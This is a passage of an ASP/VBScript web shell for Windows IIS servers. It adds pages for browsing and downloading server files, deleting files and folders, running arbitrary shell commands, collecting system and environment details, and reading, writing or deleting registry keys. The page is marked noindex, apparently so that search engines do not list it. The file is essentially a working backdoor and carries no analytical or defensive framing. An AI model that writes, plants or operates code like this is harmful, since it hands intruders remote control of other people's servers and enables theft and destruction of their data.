BinStream.Type = 1 : Rem adTypeBinary
'BinStream.Charset = "ASCII"
BinStream.Open()
BinStream.LoadFromFile(sDL)
Response.BinaryWrite(BinStream.Read())
Else
' Use FSO (slow & buggy method) instead.
' Usually works only with text data:
Err.Clear
Set BinStream = FSO.OpenTextFile(sDL, 1, 0)
While Not BinStream.AtEndOfStream
Response.BinaryWrite(ChrB( Asc( BinStream.Read(1) ) ) )
Wend
BinStream.Close
End If
'Response.Flush
Set BinStream = nothing
Else
Response.Write("File: " & sDL & " doesn't exist.")
End If
' Error handling:
If ( Err.Number <> 0 ) Then
Response.Write("Error: '" & Err.Description & "' [" & Err.Number & "]")
Err.Clear
End If
StopScript
End If
%><%
'/* --- HTML Pages Header --- */
%><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1252">
<meta name="robots" content="noindex">
<meta http-equiv="expires" content="0">
<meta http-equiv="pragma" content="no-cache">
<style type="text/css"><!--
body { font-family: sans-serif; background-color: #ffffff; color: #000000; }
table { border-collapse: collapse; font-family: arial, sans-serif; white-space: pre; empty-cells: show; }
td, th { border: 1px solid #909090; font-size: 75%; vertical-align: center; }
th { background-color: #9999cc; }
tr { background-color: #ccccff; text-indent: 5pt; }
tr th { text-indent: 0; }
tr.drv { text-indent: 0; }
tr.dir { font-weight: bold; }
tr.dir:hover { background-color: #eeeeee; }
tr.file:hover { background-color: #eeeeee; }
td.dir { cursor: hand; }
td.file { cursor: hand; }
input, select { font-family: verdana, arial; font-size: 11px; text-decoration: none; border: 1px solid #000000; }
input:hover, select:hover, input:focus, select:focus { border-color: #bc0000; }
input.button { width: 10%; }
input.button:hover { color: #444444; }
.link { color: 0033cc; text-decoration: none; font-style: oblique; }
.link:hover { background-color: #eeeeee; text-decoration: underline; }
i {color: #666666; }
hr {width: 100%; align: center; background-color: #cccccc; border: 0px; height: 1px; }
pre { margin: 0px; font-family: monospace; }
//--></style>
<%
'/* --- Delete item --- */
If ( Not IsEmpty(sDel) ) Then
On Error Resume Next
If ( Right(sDel, 1) = "\" ) Then
If ( FSO.FolderExists(sDel) ) Then
FSO.DeleteFolder(Left(sDel, Len(sDel) - 1))
End If
Else
If ( FSO.FileExists(sDel) ) Then
FSO.DeleteFile(sDel)
End If
End If
' Error handling:
If ( Err.Number <> 0 ) Then
Response.Write("Error: '" & Err.Description & "' [" & Err.Number & "]")
Err.Clear
End If
End If
'/* --- Directory Listing --- */
If ( Not IsEmpty(sDir) ) Then
%>
<title>[ Directory Listing ]</title>
<script language="JavaScript" type="text/javascript">
<!--
function go(dir_name) {
<%
On Error Resume Next
If ( Not FSO.GetFolder(GetCorrectPath(sDir)).IsRootFolder ) Then %>
if( dir_name == ".." )
document.path.DIR.value = '<%= Replace(FSO.GetFolder(GetCorrectPath(sDir)).ParentFolder.Path, "\", "\\") %>';
else
document.path.DIR.value = '<%= Replace(GetCorrectPath(sDir), "\", "\\") %>' + '\\' + dir_name;
<% Else %>
document.path.DIR.value = '<%= Replace(GetCorrectPath(sDir), "\", "\\") %>' + dir_name;
<% End If %>
document.path.submit();
}
function dl(file_name) {
<%
On Error Resume Next
If ( Not FSO.GetFolder(GetCorrectPath(sDir)).IsRootFolder ) Then %>
document.download.DL.value = '<%= Replace(GetCorrectPath(sDir), "\", "\\") %>' + '\\' + file_name;
<% Else %>
document.download.DL.value = '<%= Replace(GetCorrectPath(sDir), "\", "\\") %>' + file_name;
<% End If %>
document.download.submit();
}
function del(item_name) {
<% On Error Resume Next %>
if( !confirm("Are you sure you want to delete [" + item_name + "] ?"))
return false;
<% If ( Not FSO.GetFolder(GetCorrectPath(sDir)).IsRootFolder ) Then %>
document.items.DEL.value = '<%= Replace(GetCorrectPath(sDir), "\", "\\") %>' + '\\' + item_name;
<% Else %>
document.items.DEL.value = '<%= Replace(GetCorrectPath(sDir), "\", "\\") %>' + item_name;
<% End If %>
document.items.submit();
}
-->
</script>
</head>
<body>
<%= InsertNavBar() %>
<%= "Computer name: <i>" & WNetwork.ComputerName & "</i>" %>
<br>
<%= "User: <i>" & WNetwork.UserName & "</i>" %>
<br>
<%= "Path: <i>" & Server.Mappath(Request.ServerVariables("PATH_INFO")) & "</i>" %>
<br><br>
<%= ShowDirectoryList(sDir) %>
<%
'/* --- Shell --- */
ElseIf ( Not IsEmpty(sCmd) ) Then
%>
<title><%= GetFirstWord(sCmd) %></title>
</head>
<body>
<%= InsertNavBar() %>
<%= "Computer name: <i>" & WNetwork.ComputerName & "</i>" %>
<br>
<%= "User: <i>" & WNetwork.UserName & "</i>" %>
<br>
<%= "Path: <i>" & Server.Mappath(Request.ServerVariables("PATH_INFO")) & "</i>" %>
<br><br>
<b>Shell command:</b>
<br>
<form name="shell" action="<%= sURL %>" method="POST">
<input type="text" name="CMD" size="45" style="width:100%;" value="<%= Server.HTMLEncode(sCmd) %>">
<br><br>
<input type="checkbox" name="CMD_M" id="BG" <%If (bBgMode <> "") Then Response.Write("checked") End If%>>
<label for="BG">Background mode</label>
<br><br>
<input type="submit" class="button" value="Execute">&nbsp;
<input type="button" class="button" value="Clear" onclick="document.shell.CMD.value=''">
</form>
<hr>
<pre>
<%
If ( sCmd <> "" ) Then
Call ExecuteCmd(sCmd, bBgMode)
Else
Response.Write("Enter the command.")
End If
%>
</pre>
<%
'/* --- Server Info --- */
ElseIf( Not IsEmpty(bSI) ) Then
%>
<title>[ Server Info For: <%= WNetwork.ComputerName %> ]</title>
</head>
<body>
<%= InsertNavBar() %>
<center>
<br><br>
<%= ShowDrivesInfo() %>
<br><br>
<table border="1" cellspacing="0" cellpadding="0" width="620">
<tr align="center"><th colspan="2">Environment</th></tr>
<tr><td>COMPUTER</td><td><%= WNetwork.ComputerName %></td></tr>
<tr><td>PATH_INFO</td><td><%= Server.Mappath(Request.ServerVariables("PATH_INFO")) %></td></tr>
<tr><td>USER</td><td><%= EmptyToNbsp(WNetwork.UserName) %></td></tr>
<tr><td>DOMAIN</td><td><%= EmptyToNbsp(WNetwork.UserDomain) %></td></tr>
<tr><td>SERVER_SOFTWARE</td><td><%= Request.ServerVariables("SERVER_SOFTWARE") %></td></tr>
<tr><td>SERVER_NAME</td><td><%= Request.ServerVariables("SERVER_NAME") %></td></tr>
<tr><td>LOCAL_ADDR</td><td><%= Request.ServerVariables("LOCAL_ADDR") %></td></tr>
<tr><td>NUMBER_OF_PROCESSORS</td><td><%= WEnv("NUMBER_OF_PROCESSORS") %></td></tr>
<tr><td>PROCESSOR_ARCHITECTURE</td><td><%= WEnv("PROCESSOR_ARCHITECTURE") %></td></tr>
<tr><td>PROCESSOR_IDENTIFIER</td><td><%= EmptyToNbsp(WEnv("PROCESSOR_IDENTIFIER")) %></td></tr>
<tr><td>PROCESSOR_LEVEL</td><td><%= EmptyToNbsp(WEnv("PROCESSOR_LEVEL")) %></td></tr>
<tr><td>PROCESSOR_VERSION</td><td><%= EmptyToNbsp(WEnv("PROCESSOR_VERSION")) %></td></tr>
<tr><td>OS</td><td><%= EmptyToNbsp(WEnv("OS")) %></td></tr>
<tr><td>COMSPEC</td><td><%= EmptyToNbsp(WEnv("COMSPEC")) %></td></tr>
<tr><td>HOMEDRIVE</td><td><%= EmptyToNbsp(WEnv("HOMEDRIVE")) %></td></tr>
<tr><td>HOMEPATH</td><td><%= EmptyToNbsp(WEnv("HOMEPATH")) %></td></tr>
<tr><td>PATH</td><td><%= Replace(EmptyToNbsp(WEnv("PATH")), ";", "<br>&nbsp; ") %></td></tr>
<tr><td>PATHEXT</td><td><%= EmptyToNbsp(WEnv("PATHEXT")) %></td></tr>
<tr><td>PROMPT</td><td><%= EmptyToNbsp(WEnv("PROMPT")) %></td></tr>
<tr><td>SYSTEMDRIVE</td><td><%= EmptyToNbsp(WEnv("SYSTEMDRIVE")) %></td></tr>
<tr><td>SYSTEMROOT</td><td><%= EmptyToNbsp(WEnv("SYSTEMROOT")) %></td></tr>
<tr><td>WINDIR</td><td><%= EmptyToNbsp(WEnv("WINDIR")) %></td></tr>
<tr><td>TEMP</td><td><%= EmptyToNbsp(WEnv("TEMP")) %></td></tr>
<tr><td>TMP</td><td><%= EmptyToNbsp(WEnv("TMP")) %></td></tr>
<tr><td>SCRIPT_ENGINE</td><td><%= ScriptEngine %> (Ver.<%= ScriptEngineMajorVersion %>.<%= ScriptEngineMinorVersion %>.<%= ScriptEngineBuildVersion %>)</td></tr>
<tr><td>ADODB.STREAM</td><td><%
' Try to create ADODB COM object:
On Error Resume Next
Err.Clear
Set BinStream = Server.CreateObject("ADODB.Stream")
If ( Err.Number = 0 ) Then
Response.Write("Passed")
Else
Response.Write("Limited download / upload functionality")
End If
%>
</td></tr>
<tr><td>LOCALE</td><td><%= SetLocale(0) %></td></tr>
</table>
<br><br>
</center>
<%
'/* --- Registry Editor --- */
ElseIf ( Not IsEmpty(sKey) ) Then
%>
<title>[ Registry Editor ]</title>
</head>
<body>
<%= InsertNavBar() %>
<%= "Computer name: <i>" & WNetwork.ComputerName & "</i>" %>
<br>
<%= "User: <i>" & WNetwork.UserName & "</i>" %>
<br>
<%= "Path: <i>" & Server.Mappath(Request.ServerVariables("PATH_INFO")) & "</i>" %>
<br><br>
<b>Registry key:</b>
<br>
<form name="regedit" action="<%= sURL %>" method="POST">
<input type="text" name="RKEY" size="45" style="width:100%;" value="<%= sKey %>">
<br><br>
<b>Value:</b>
<br>
<input type="text" name="RKEY_V" size="45" style="width:100%;" value="<%= sKeyValue %>">
<br><br>
<b>Type:</b>
<br>
<select name="RKEY_T" style="width: 150px" size="1">
<option value="REG_SZ" <%If ( sKeyType = "REG_SZ" or IsEmpty(sKeyType) ) Then Response.Write("selected") End If%>>REG_SZ</option>
<option value="REG_DWORD" <%If ( sKeyType = "REG_DWORD" ) Then Response.Write("selected") End If%>>REG_DWORD</option>
<option value="REG_BINARY" <%If ( sKeyType = "REG_BINARY" ) Then Response.Write("selected") End If%>>REG_BINARY</option>
<option value="REG_EXPAND_SZ" <%If ( sKeyType = "REG_EXPAND_SZ" ) Then Response.Write("selected") End If%>>REG_EXPAND_SZ</option>
</select>
<br><br>
<b>Function:</b>
<br>
<input type="radio" name="RKEY_F" value="Read" <%If ( sKeyFunc = "Read" or IsEmpty(sKeyFunc) ) Then Response.Write("checked") End If%>>
<label for="RKEY_F">Read</label><br>
<input type="radio" name="RKEY_F" value="Write" <%If (sKeyFunc = "Write") Then Response.Write("checked") End If%>>
<label for="RKEY_F">Write</label><br>
<input type="radio" name="RKEY_F" value="Delete" <%If (sKeyFunc = "Delete") Then Response.Write("checked") End If%>>
<label for="RKEY_F">Delete</label><br>
<br>
<input type="submit" class="button" value="Execute">&nbsp;
<input type="button" class="button" value="Clear" onclick="document.regedit.RKEY.value='';document.regedit.RKEY_V.value=''">
</form>
<hr>
<pre>
<%
If ( sKey <> "" ) Then
Call RegEditor(sKey, sKeyValue, sKeyType, sKeyFunc)
Else
Response.Write("Enter the key.")
End If
%>
</pre>
<%
End If
'/* --- HTML Pages Footer --- */
%>
</body>
</html>
<%
StopScript 'asd
%>